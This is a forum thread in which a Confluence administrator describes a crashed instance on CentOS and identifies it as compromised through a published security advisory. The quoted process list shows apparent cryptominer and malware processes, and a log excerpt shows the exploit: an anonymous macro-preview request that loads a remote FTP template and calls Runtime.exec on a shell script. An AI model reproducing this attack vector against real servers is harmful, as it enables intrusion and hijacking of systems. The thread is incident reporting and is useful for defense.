Confluence crashing on startup

[elkrivertom]

I have been running Confluence v 6.6.0 for months now on CentOS 7 with no issues. Over the weekend I realized Confluence crashed on me and is leaving behind a number of processes. 

I have tried to restart Confluence but after 1 min. the main java process crashed and these other ones come up. I have rebooted, patched the OS and still get the same issue. 

Confluence runs on the same system as my JIRA instance and points to a PostGresSQL 9.5 DB on the same system. I only have 3 users so I have kept the setup simple.

The logs show:

2019-04-15 07:54:50,844 WARN [Navlink Plugin Executor:thread-1] [confluence.impl.vcache.SynchronousExternalCache] lambda$get$11 Failed to read entry from cache 'com.atlassian.bandana.BandanaPersister': Failed due to UNCLASSIFIED_FAILURE

Which I'm not sure is part of the problem.

This is what I see after the crash:

[root@localhost logs]# ps -ef | grep confl
conflue+ 16329 16327 0 08:10 ? 00:00:00 [sh] <defunct>
conflue+ 16361 16327 0 08:10 ? 00:00:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t -f confluence1
conflue+ 16371 16361 0 08:10 ? 00:00:00 /usr/sbin/postdrop -r
conflue+ 16389 1 86 08:10 ? 00:07:21 /boot/vmlinuz
conflue+ 16434 1 0 08:10 ? 00:00:00 ./5D2o2OD ./AJFKJj3
conflue+ 16435 1 0 08:10 ? 00:00:00 ./5D2o2OD ./6LaK2em
conflue+ 16436 1 0 08:10 ? 00:00:00 ./5D2o2OD ./prot
conflue+ 21157 16435 0 08:18 ? 00:00:00 sleep 5
conflue+ 21177 16436 0 08:18 ? 00:00:00 sleep 1
conflue+ 21185 16434 0 08:18 ? 00:00:00 sleep 10
root 21187 8529 0 08:18 pts/0 00:00:00 grep --color=auto confl

I did find this in an older log entry:

2019-04-12 19:06:40,023 ERROR [http-nio-9001-exec-8] [confluence.util.velocity.VelocityUtils] getRenderedTemplate Error occurred rendering template: ftp://46.30.43.72/cmd.vm
-- referer: http://24.179.222.247:9001/pages/resumedraft.action?draftId=12345&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& | url: /rest/tinymce/1/macro/preview | traceId: 1320a9700af9f77b | userName: anonymous
org.apache.velocity.exception.MethodInvocationException: Invocation of method 'exec' in class java.lang.Runtime threw exception java.io.IOException: Cannot run program "/tmp/zz.sh": error=2, No such file or directory at ftp://46.30.43.72/cmd.vm[line 2, column 100]

I have no idea what that FTP address is.

[elkrivertom · Accepted solution]

Looks like I got hit by this security vulnerability 

https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html

They had a cronjob shutting down my instance.

I have disabled it and am taking corrective measures.

For some reason I ignored the email when it came in -- Last time I do that.